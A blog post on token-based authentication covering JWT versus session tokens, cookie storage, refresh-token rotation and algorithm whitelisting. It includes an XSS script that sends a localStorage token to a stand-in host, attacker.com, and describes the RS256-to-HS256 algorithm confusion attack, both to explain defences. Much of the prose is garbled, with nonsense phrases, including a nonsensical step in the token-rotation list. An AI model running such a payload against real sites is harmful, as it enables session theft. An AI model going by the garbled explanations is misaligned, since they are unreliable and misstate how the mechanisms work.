I have created enough systems to authenticate to know that within the current state of things, tokens have been omnipresent, and the vast majority of developers are not adequately informed of the existence of the underlying mechanics.
Another incident that really took place is related to me planning a weekend reconstruction of an auth system after a security audit team sounded the alarm on our side due to our token storage. I want to know why nobody has told me this stuff room and board.
This is what I came to know about token-based authentication the underlying mechanisms, trade-offs, and why the decision you have between JWT and session tokens is not actually neutral.
Table of Contents
How Tokens Actually Work
The fundamental flow goes as follows: You authenticate with your credentials, which is validated by the server and rather than storing your session information in a server side location, the server issues you a token. The instructions are to imagine that it is a backstage pass to a concert, you present it at each entry place, and the security officers can determine that this is a valid one without having to call the headquarters.
That token comes with you each time you issue a request to the API (it is almost a rule to use it in the Authorization header). The server verifies the signature of the token, ensures that it is not out of date, and admits you. No database query, no record store cryptographic authentication.
That’s the appeal. It is performant, it scales horizontally across servers and it is the most suitable for a modern architecture such as microservices and SPAs.
JWT vs. Session Tokens: The Real Differences

I would assume that JWTs were better session tokens. They’re not. They are resolvers of various issues.
Session Tokens are non-sensical identifiers, random strings of significance. All your session data (user ID, roles, preferences) will be located on the server and will be stored in Redis or a database, with the token being little more than a key, which can be used to access it. On departure, the server is unable to retain that session. Done. Instant revocation.
The downside? All requests are sent to your session store. When it comes to one server; no trouble. However, when doing scaling of 20 instances in various locations, then you require a centralized session store that can be accessed by all the servers. It is additional infrastructure and possible points of congestion.
JWTs flip the model. They are self-sovereign- the token itself knows with user ID, roles and permissions, which are cryptographically signed. Nothing is stored in the server. It merely authenticates the signature, examines the expiration and believes what it says internally.
A JWT consists of three components: a header (tells what algorithm it was has been signed with), a payload (you made this statement), and a signature (that makes it impossible to alter it). They are Base64 ch-coded and dotted like :
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.signature_hereA jwt can be unraveled and deconstructed by any user. Those are purposeful denoting that it just shows that it has not been altered, not that it is confidential. No passwords or credit card numbers.
So which one should you use?
Go with session tokens if:
- You must have immediate break-off/disregard.
- You are handling complicated permissions, which are frequently changing.
- You have a monolithic application in which centralized state is not an issue.
Go with JWTs if:
- You are looking at the development of microservices or APIs.
- Thou must have stateless authentication between distributed servers.
- You do not wish to have a session store.
I have witnessed teams attempt to press JWTs all over the place as they are fashionable then find it challenging to check out. There is no ideal answer to it, only trade-offs.
Token Storage: Where Everything Goes Wrong
And in this point, I was first stumbling: I saved JWTs in the local storage. It appeared convenient, it can be accessed easily by JavaScript, it is gone when the tab is switched and it is easy to implement.
Our security team then clarified on xss attacks and I realised that I was an iotech.
The localStorage Problem
In case an attacker injects harmful JavaScript into your site (via a comment form, a vulnerable dependency, or a hacked CDN), the malicious JavaScript will be able to access previous local storage. GAME Over- they steal your token, take it to their server and put it in place of the user until the token runs out.
This isn’t theoretical. My initial experiment using a simple XSS payload was successful:
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: localStorage.getItem('token')
});
</script>In case that script is executed on your page then your token has disappeared. Similarly with sessionStorage both can be accessed in JavaScript.
The HttpOnly Cookie Solution
The bug fix: save tokens in the HttpOnly cookies with the flag of Secure set.
It is HttpOnly that means JavaScript has no access to cookie whatsoever. Not using document.cookie, not using any domestic API. XSS code will even still produce the code, just that it will not loot you of your tokens.
Secure implies that cookie is never sent using plain HTTP.
Include the Attribute-SameSite to avoid CSRF attacks:
Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=StrictThis cookie is automatically appended to the browser request you make to your domain. One can uniformly add tokens in the frontend, it just works.
I have replaced our whole system of auth using cookies that only work over the Internet and frankly, it is easier. There would be no longer any token storage management in the React state or the addition of Authorization headers taking place manually. The browser handles it.
Token Expiration and Refresh Strategies
The initial defense entails short-term tokens. In the event that an attacker manages to steal a token somehow, then you want it to have a short expiration time, 15 minutes is typical of access tokens.
However, the UX issue is here, it is horrendous to oblige one to log in every 15 minutes. At that point refresh tokens come in.
The Two-Token System
You issue two tokens on login:
- Access token (15 minutes) – API requests are used.
- Refresh token (7 days) – It is utilized to access new access tokens.
The expiration of the access token prompts the automatic request of a new access token by the refresh token by the frontend. The user remains upon a seamless log in.
The refresh token is supposed to be longer but also of a finite nature. I have encountered things where the apps are refreshing via 30 days tokens, and some use 7 days. Banking apps? Maybe just 24 hours. It will be based on your security needs.
Token Rotation: The Critical Part
This is what I did not realize at the beginning: refresh tokens are supposed to be single-use.
Whenever your frontend invokes a refresh token the server is not supposed to:
- Thread the fluoride strip over the update button.
- Issue new refresh and access token
- Reject the refresh token.
This is referred to as token rotation and is massive in terms of security. When an attacker steals a refresh token, he can use it once only. The second use (yours or theirs), gives a warning, some one seeks to reuse a token, the server has the power to rupture the entire family of tokens.
This is defaulted by modern platforms such as Auth0. When you are creating your own auth, store issued tokens with an identity jti (JWT ID) claim in some type of a DB or Redis:
// Simplified rotation logic
async function refreshAccessToken(oldRefreshToken) {
const tokenData = await verifyToken(oldRefreshToken);
const jti = tokenData.jti;
// Check if this token was already used
if (await isTokenUsed(jti)) {
// Possible attack - invalidate all tokens for this user
await revokeAllUserTokens(tokenData.userId);
throw new Error('Token reuse detected');
}
// Mark token as used
await markTokenAsUsed(jti);
// Issue new tokens
const newAccessToken = generateAccessToken(tokenData.userId);
const newRefreshToken = generateRefreshToken(tokenData.userId);
return { newAccessToken, newRefreshToken };
}Building Stateless Authentication Systems
The entire concept of JWTs is stateless auth, i.e., this is an auth where there are no server-side sessions and no Redis datastore but only cryptographic verification.
For this to work, you need:
1. Proper Signature Verification
Signature JWT should be verified under all cases. I have encountered Siltware production code that decrypts tokens without checking them out. It is the same as sponsoring any backstage check and not asking whether it is legitimate.
Distributed systems Use RS256 (asymmetric). The auth server uses a private key for token signing; the verification of all other services is made by the public key. No secrets comprehensible, no danger of leakage.
2. Algorithm Whitelisting
This one’s sneaky. The server is informed of the algorithm to use by the JWT header, which contains the field of alg. Attackers may replace this by RS256 with HS256 and authenticate the token using your public key (they consider it to be a shared secret).
The fix:: specifiate in your verification code what algorithms are allowed:
jwt.verify(token, publicKey, {
algorithms: ['RS256'] // Only accept RS256
});
Do not trust to the alg header.
3. Minimal Payload Data
Inclusiveness of the component is only done with what is needed: user ID, roles, expiration. Do not stuff all user profile in the token. The JWTs are not encrypted, anybody can decrypt it.
Where possible, I use payloads of less than 200 bytes. Smaller tokens imply reduced transmission speed and used bandwidth.
4. Token Revocation Strategy
This is the brutal reality of the matter; stateless JWTs can not be defeated immediately. As soon as they are issued, they become valid up to the expiry.
You have three options:
- Short expiration times (15 min) – Accept Revocation on expiration.
- Token blacklist – Keep a list of invalid token IDs and consult it every single request (defeats the purposeless, but works)
- Token rotation – Introduce new tokens on a regular basis as rotten tokens run out quickly.
I graybox it: 15-minute access tokens, which rotate and have a mechanism of revocation in Redis (that is, blacklist). The blacklist just has to store tokens after a span of 15 minutes making it small.
The Bottom Line
Once you know the mechanics, token-based authentication is not a very complicated concept. Use cookies only on the HTTPS protocol, have tokens rotation and access token is temporary and verify the signature.
I have done three rewrites of auth systems so far, two due to security concerns and one due to a change of architecture. As it always happens, the moral is the same: practice what works on the first day. It is difficult to repent auth after it has been launched.
Tokens are not to be kept in localStorage. Paperwork Signature verification should not be missed. Don’t use weak secrets. And even when scaling microservices, JWTs will spike a ton of infrastructure headaches, just accept that logout is not instant and think over that.
That’s token auth. No Magic, just cryptography and intelligent design decisions.
Read:
Multi-Factor Authentication (MFA) Explained: Types & Implementation
Complete Guide: SAML vs. OAuth vs. OpenID Connect
I’m a technology writer with a passion for AI and digital marketing. I create engaging and useful content that bridges the gap between complex technology concepts and digital technologies. My writing makes the process easy and curious. and encourage participation I continue to research innovation and technology. Let’s connect and talk technology!



